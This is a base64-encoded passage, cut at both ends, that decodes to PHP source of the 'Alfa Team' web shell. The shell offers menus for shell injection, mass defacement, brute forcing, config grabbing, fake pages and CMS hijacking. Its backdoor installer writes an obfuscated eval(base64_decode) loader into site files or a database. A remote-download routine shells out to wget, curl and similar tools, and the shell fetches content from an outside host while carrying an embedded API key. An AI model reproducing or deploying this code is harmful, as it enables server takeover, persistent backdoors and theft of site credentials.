JbmplY3RvcnMnPT4nU2hlbGwgSW5qZWN0b3JzJywKJ3BocDJ4bWwnPT4nUEhQMlhNTCcsJ2Nsb3VkZmxhcmUnPT4nQ2xvdWRGbGFyZScsJ1dobWNzJz0+J1dobWNzIERlQ29kZXInLCdzeW1saW5rJz0+J1N5bWxpbmsnLCdNYXNzRGVmYWNlcic9PidNYXNzIERlZmFjZXInLCdDcmFja2Vycyc9PidCcnV0ZUZvcmNlcicsJ3NlYXJjaGVyJz0+J1NlYXJjaGVyJywnY29uZmlnX2dyYWJiZXInPT4nQ29uZmlnIEdyYWJiZXInLCdmYWtlcGFnZSc9PidGYWtlIFBhZ2UnLCdhcmNoaXZlX21hbmFnZXInPT4nQXJjaGl2ZSBNYW5hZ2VyJywKJ2Ntc2hpamFja2VyJz0+J0NNUyBIaWphY2tlcicsJ3JlbW90ZWRsJz0+J1JlbW90ZSBVcGxvYWQnLCdpbmJhY2tkb29yJz0+J0luc3RhbGwgQmFja0Rvb3InLCd3aG9pcyc9PidXaG9pcycsJ3NlbGZybSc9PidSZW1vdmUgU2hlbGwnCik7CmZvcmVhY2goJGxpIGFzICRrZXk9PiR2YWx1ZSl7CmVjaG8oJzxsaT48YSBpZD0ibWVudV9vcHRfJy4ka2V5LiciIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PScuJGtleS4nIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PScuJGtleS4nXCc7ZyhcJycuJGtleS4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij4nLiR2YWx1ZS4nPC9hPjwvbGk+Jy4iXG4iKTsKfQplY2hvICc8L3VsPjxkaXYgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjtwYWRkaW5nOiA2cHg7Ij48YSBpZD0ibWVudV9vcHRfc2V0dGluZ3MiIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PXNldHRpbmdzIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PXNldHRpbmdzXCc7ZyhcJ3NldHRpbmdzXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij5BbGZhIFNldHRpbmdzPC9hPjxhIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBpZD0ibWVudV9vcHRfbWFya2V0IiBocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJm9wdD1tYXJrZXQiIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9ImFsZmFfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9bWFya2V0XCc7ZyhcJ21hcmtldFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpO2QucXVlcnlTZWxlY3RvcihcJy5vcHQtdGl0bGVcJykuaW5uZXJIVE1MPXRoaXMuaW5uZXJIVE1MOyI+PHNwYW4gY2xhc3M9ImFsZmFfcGx1cyI+QWxmYSBtYXJrZXQ8L3NwYW4+PC9hPjxhIGlkPSJtZW51X29wdF9hYm91dHVzIiBocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJm9wdD1hYm91dHVzIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PWFib3V0dXNcJztnKFwnYWJvdXR1c1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpO2QucXVlcnlTZWxlY3RvcihcJy5vcHQtdGl0bGVcJykuaW5uZXJIVE1MPXRoaXMuaW5uZXJIVE1MOyI+QWJvdXQgVXM8L2E+Jy4oIWVtcHR5KCRfQ09PS0lFWydBbGZhVXNlciddKSAmJiAhZW1wdHkoJF9DT09LSUVbJ0FsZmFQYXNzJ10pID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImFsZmFMb2dPdXQoKTsiPjxmb250IGNvbG9yPSJyZWQiPkxvZ091dDwvZm9udD48L2E+JzonJykuJzwvZGl2PjwvZGl2PjxkaXYgaWQ9ImZpbGVzbWFuX3RhYnMiPjxkaXYgb25tb3VzZW92ZXI9ImFsZmFGaWxlc21hblRhYlNob3dUaXRsZSh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImFsZmFGaWxlc21hblRhYkhpZGVUaXRsZSh0aGlzLGV2ZW50KTsiIGZtX2NvdW50ZXI9IjEiIHBhdGg9IicuJEdMT0JBTFNbJ2N3ZCddLiciIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5fdGFiXzEiIGNsYXNzPSJmaWxlc21hbl90YWIgZmlsZXNtYW4tdGFiLWFjdGl2ZSIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250cm9sbGVyKHRoaXMpOyI+PGltZyBjbGFzcz0iZm9sZGVyLXRhYi1pY29uIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9mb2xkZXIyLnN2ZyI+IDxzcGFuPkZpbGUgbWFuYWdlcjwvc3Bhbj48L2Rpdj48ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsiIGlkPSJmaWxlc21hbl90YWJzX2NoaWxkIj48L2Rpdj48ZGl2IGlkPSJmaWxlc21hbl9uZXdfdGFiIiBjbGFzcz0iZmlsZXNtYW5fdGFiIiBzdHlsZT0iYmFja2dyb3VuZDogbWFyb29uOyIgb25DbGljaz0iYWxmYUZpbGVzTWFuTmV3VGFiKGNfLFwnL1wnLDEpOyI+TmV3IFRhYiArPC9kaXY+PC9kaXY+Jzt9ZWxzZXsKQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIDApOwpAc2V0X3RpbWVfbGltaXQoMCk7Cn19CmZ1bmN0aW9uIGFsZmFsb2dvdXQoKXsKQHNldGNvb2tpZSgiQWxmYVVzZXIiLCBudWxsLCAyMDEyKTsKQHNldGNvb2tpZSgiQWxmYVBhc3MiLCBudWxsLCAyMDEyKTsKdW5zZXQoJF9DT09LSUVbJ0FsZmFVc2VyJ10sJF9DT09LSUVbJ0FsZmFQYXNzJ10pOwplY2hvKCJvayIpOwp9CmZ1bmN0aW9uIHNob3dBbmltYXRpb24oJG5hbWUpewoJcmV0dXJuICctd2Via2l0LWFuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzOyc7Cn0KZnVuY3Rpb24gX19zaG93aWNvbigkcil7Cgkkc1snYnRuJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2J0bi5wbmcnOwoJJHNbJ2FsZmFtaW5pJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2FsZmFtaW5pLnBuZyc7Cgkkc1snbG9hZGVyJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2xvYWRlci5zdmcnOwoJLy9yZXR1cm4gJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnLl9fZ2V0X3Jlc291cmNlKCRzWyRyXSk7CglyZXR1cm4gJHNbJHJdOwp9CmZ1bmN0aW9uIGFsZmFpbmJhY2tkb29yKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSW5zdGFsbCBCYWNrRG9vciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnaW5iYWNrZG9vclwnLG51bGwsXCdmaWxlXCcpIj58IEluIEZpbGUgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2luYmFja2Rvb3JcJyxudWxsLFwnZGJcJykiPnwgSW4gRGF0YUJhc2UgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwokZXJyb3IgPSAnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gSW5qZWN0IEJhY2tEb29yLi4uITxicj5GaWxlIExvYWRlciBpcyBub3QgV3JpdGFibGUgT3IgTm90IEV4aXN0cy4uLiE8L2ZvbnQ+JzsKJHN1Y2Nlc3M9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hJzsKJHRleHRhcmVhID0gIjxkaXYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdiYWNrZG9vcl90ZXh0YXJlYSc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+WW91ciBTaGVsbDo8L2Rpdj48cD48dGV4dGFyZWEgbmFtZT0nc2hlbGwnIHJvd3M9JzE5JyBjb2xzPScxMDMnPjw/cGhwXG5cdGVjaG8oJ0FsZmEgVGVhbSBpcyBIZXJlLi4uIScpO1xuPz48L3RleHRhcmVhPjwvcD48L2Rpdj4iOwokc2VsZWN0ID0gIjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdtZXRob2QnIHN0eWxlPSd3aWR0aDoxNTVweDsnIG9uQ2hhbmdlPSdpbkJhY2tkb29yKHRoaXMpOyc+PG9wdGlvbiB2YWx1ZT0nYWxmYSc+QWxmYSBUZWFtIFVwbG9hZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbXknPk15IFByaXZhdGUgU2hlbGw8L29wdGlvbj48L3NlbGVjdD4iOwokY3dkID0gJ0V4YW1wbGU6IC9ob21lL2FsZmEvcHVibGljX2h0bWwvaW5kZXgucGhwJzsKaWYoJF9QT1NUWydhbGZhMSddPT0nZmlsZScpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIEZpbGUgfDwvZGl2PjwvcD48cD48Zm9ybSBvbnN1Ym1pdD1cImcoJ2luYmFja2Rvb3InLG51bGwsJ2ZpbGUnLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+eyRzZWxlY3R9IDxkaXYgY2xhc3M9J3R4dGZvbnQnPkJhY2tkb29yIExvYWRlcjo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0neyRjd2R9Jz4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+S2V5OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2tleScgc2l6ZT0nMTAnIHZhbHVlPSdhbGZhJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPnskdGV4dGFyZWF9PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNCddIT0nJyl7CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEyJ107CiRmaWxlID0gJF9QT1NUWydhbGZhMyddOwokc2hlbGwgPSAkX1BPU1RbJ2FsZmE0J107CiRrZXkgPSBzdHJfcmVwbGFjZShhcnJheSgnIicsJ1wnJyksJycsdHJpbSgkX1BPU1RbJ2FsZmE1J10pKTsKaWYoJGtleT09JycpJGtleT0nYWxmYSc7CmlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ107fQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiYWxmYSJdKSYmJF9HRVRbImFsZmEiXT09IicuJGtleS4nIil7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoIicuJHNoZWxsLiciKTtleGl0O30/Pic7CmlmKEBpc19maWxlKCRmaWxlKSYmQGlzX3dyaXRhYmxlKCRmaWxlKSl7QGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7X19hbGVydCgkc3VjY2Vzcy4iPGJyPlJ1biBXaXRoOiAiLmJhc2VuYW1lKCRmaWxlKS4iP2FsZmE9Ii4ka2V5Lic8L2ZvbnQ+Jyk7fWVsc2V7X19hbGVydCgkZXJyb3IpO319fQppZigkX1BPU1RbJ2FsZmExJ109PSdkYicpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIERhdGFCYXNlIHw8L2Rpdj48L3A+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPHA+PGZvcm0gb25zdWJtaXQ9XCJnKCdpbmJhY2tkb29yJyxudWxsLCdkYicsdGhpcy5kYl9ob3N0LnZhbHVlLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuc2hlbGwudmFsdWUsdGhpcy5rZXkudmFsdWUpO3JldHVybiBmYWxzZTtcIj4iKTsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQyJyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKJ3RkMycgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQ0JyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCid0ZDUnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdCYWNrZG9vciBMb2FkZXI6ICcsICdpbnB1dE5hbWUnID0+ICdmaWxlJywgJ2lucHV0VmFsdWUnID0+ICRjd2QsICdpbnB1dFNpemUnID0+ICc1MCcsICdwbGFjZWhvbGRlcicgPT4gdHJ1ZSksCid0ZDYnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdLZXk6ICcsICdpbnB1dE5hbWUnID0+ICdrZXknLCAnaW5wdXRWYWx1ZScgPT4gJ2FsZmEnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobygiPHA+eyRzZWxlY3R9PC9wPiIpOwplY2hvKCR0ZXh0YXJlYSk7CmVjaG8oIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNSddIT0nJyYmJF9QT1NUWydhbGZhNiddIT0nJyl7CiRkYmhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYnVzZXIgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYnB3ID0gJF9QT1NUWydhbGZhNCddOwokZGJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokZmlsZSA9ICRfUE9TVFsnYWxmYTYnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTcnXTsKJHNoZWxsID0gJF9QT1NUWydhbGZhOCddOwoka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyInLCdcJycpLCcnLHRyaW0oJF9QT1NUWydhbGZhOSddKSk7CmlmKCRrZXk9PScnKSRrZXk9J2FsZmEnOwppZigkbWV0aG9kPT0nbXknKXskc2hlbGw9X19aVzVqYjJSbGNnKCRzaGVsbCk7fWVsc2V7JHNoZWxsPSRHTE9CQUxTWydfX0FMRkFfU0hFTExfQ09ERSddO30KaWYoJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicHcsJGRibmFtZSkpewokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiYWxmYSJdKSYmJF9HRVRbImFsZmEiXT09IicuJGtleS4nIil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRiaG9zdCkuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRidXNlcikuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRicHcpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYm5hbWUpLiciKTskcT1teXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCBgY29kZWAgRlJPTSBhbGZhX2JjIExJTUlUIDAsMSIpOyRyPW15c3FsaV9mZXRjaF9hc3NvYygkcSk7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4nOwppZihAaXNfZmlsZSgkZmlsZSkmJkBpc193cml0YWJsZSgkZmlsZSkpewpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIGBhbGZhX2JjYCcpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdDUkVBVEUgVEFCTEUgYGFsZmFfYmNgIChjb2RlIExPTkdURVhUKScpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdJTlNFUlQgSU5UTyBgYWxmYV9iY2AgVkFMVUVTKCInLiRzaGVsbC4nIiknKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7Cl9fYWxlcnQoJHN1Y2Nlc3MuIjxicj5SdW4gV2l0aDogIi5iYXNlbmFtZSgkZmlsZSkuIj9hbGZhPSIuJGtleS4nPC9mb250PicpO31lbHNle19fYWxlcnQoJGVycm9yKTt9fX19CmVjaG8oJzwvZGl2PicpOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXdob2lzKCl7CmVjaG8oIjxkaXYgY2xhc3M9J2hlYWRlcic+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG9pcyB8PC9kaXY+PC9wPjxwPjxmb3JtIG9uc3VibWl0PVwiZygnd2hvaXMnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7cmV0dXJuIGZhbHNlO1wiPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nZ29vZ2xlLmNvbSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC9wPjwvY2VudGVyPiIpOwppZigkX1BPU1RbJ2FsZmEyJ109PSc+PicmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsKJHNpdGUgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cDovLycsJ2h0dHBzOi8vJywnd3d3LicsJ2Z0cDovLycpLCcnLCRfUE9TVFsnYWxmYTEnXSk7CiR0YXJnZXQgPSAnaHR0cDovL2FwaS53aG9hcGkuY29tLz9hcGlrZXk9MDkzYjZjYjllNmVhNzI0ZTEwMTkyODY0N2RmM2UwMDkmcj13aG9pcyZkb21haW49Jy4kc2l0ZTsKJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRkYXRhPT0nJyl7JGdldCA9IG5ldyBBbGZhQ1VSTCgpOyRnZXQtPnNzbCA9IHRydWU7JGRhdGEgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpO30KJHRhcmdldCA9IEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKTsKZWNobyBfX3ByZSgpOwppZihpc19hcnJheSgkdGFyZ2V0KSl7ZWNobygkdGFyZ2V0WyJ3aG9pc19yYXciXSk7fWVsc2V7ZWNobyBhbGZhRXgoIndob2lzICIuJHNpdGUpO319CmVjaG8oIjwvZGl2PiIpOwp9CmZ1bmN0aW9uIGFsZmFyZW1vdGVkbCgpewphbGZhaGVhZCgpOwplY2hvKCI8ZGl2IGNsYXNzPSdoZWFkZXInPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgVXBsb2FkIEZyb20gVXJsIHw8L2Rpdj48L3A+PHA+Cjxmb3JtIG9uc3VibWl0PVwiZygncmVtb3RlZGwnLG51bGwsdGhpcy5kLnZhbHVlLHRoaXMucC52YWx1ZSwnPj4nKTtyZXR1cm4gZmFsc2U7XCI+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIHNpemU9JzUwJz48L3A+CjxkaXYgY2xhc3M9J3R4dGZvbnQnPlBhdGg6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwJyBzaXplPSc1MCcgdmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+CjwvZm9ybT48L3A+PC9jZW50ZXI+Iik7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSwkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhMyddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTMnXT09Jz4+Jyl7CmVjaG8gX19wcmUoKTsKJHVybCA9ICRfUE9TVFsnYWxmYTEnXTsKJHBhdGggPSAkX1BPU1RbJ2FsZmEyJ107CmVjaG8oJzxjZW50ZXI+Jyk7CmlmKF9fZG93bmxvYWQoJHVybCwkcGF0aCkpewplY2hvKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPC9mb250PicpOwp9ZWxzZXsKZWNobygnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IuLi4hPC9mb250PicpOwp9CmVjaG8oJzwvY2VudGVyPicpOwp9CmVjaG8oIjwvZGl2PiIpOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19kb3dubG9hZCgkdXJsLCRwYXRoPWZhbHNlKXsKaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsKJHNhdmVhcyA9IGJhc2VuYW1lKHJhd3VybGRlY29kZSgkdXJsKSk7CmlmKCRwYXRoKXskc2F2ZWFzPSRwYXRoLiRzYXZlYXM7fQppZigkY29udGVudCA9IF9fcmVhZF9maWxlKCR1cmwpKXsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpQHVubGluaygkc2F2ZWFzKTsKaWYoX193cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7cmV0dXJuIHRydWU7fX0KJGJ1ZmYgPSBhbGZhRXgoIndnZXQgIi4kdXJsLiIgLU8gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CiRidWZmID0gYWxmYUV4KCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgibHlueCAtc291cmNlICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgiR0VUICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGFsZmFFeCgibGlua3MgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKJGJ1ZmYgPSBhbGZhRXgoImZldGNoIC1vICIuJHNhdmVhcy4iIC1wICIuJHVybCk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGNsZWFuX3N0cmluZygkc3RyaW5nKXsKICBpZihmdW5jdGlvbl9leGlzdHMoImljb252IikpewoJICAkcyA9IHRyaW0oJHN0cmluZyk7CgkgICRzID0gaWNvbnYoIlVURi04IiwgIlVURi04Ly9JR05PUkUiLCAkcyk7CiAgfQogIHJldHVybiAkczsKfQpmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXsKJGNvbnRlbnQgPSBmYWxzZTsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CiRjb250ZW50ID0gIiI7CndoaWxlKCFmZW9mKCRmaCkpewokY29udGVudCAuPSAkYm9vbSA/IGNsZWFuX3N0cmluZyhmcmVhZCgkZmgsIDgxOTIpKSA6IGZyZWFkKCRmaCwgODE5Mik7Cn0KQGZjbG9zZSgkZmgpOwp9CmlmKGVtcHR5KCRjb250ZW50KXx8ISRjb250ZW50KXsKCSRjb250ZW50ID0gYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKTsKfQpyZXR1cm4gJGNvbnRlbnQ7Cn0KZnVuY3Rpb24gYWxmYU1hcmtldCgpewplY2hvICI8ZGl2IGNsYXNzPSdoZWFkZXInPiI7CiRjdXJsID0gbmV3IEFsZmFDVVJMKCk7CiRjb250ZW50ID0gJGN1cmwtPlNlbmQoImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vbWFya2V0LnBocCIpOwokZGF0YSA9IEBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CmlmKCFlbX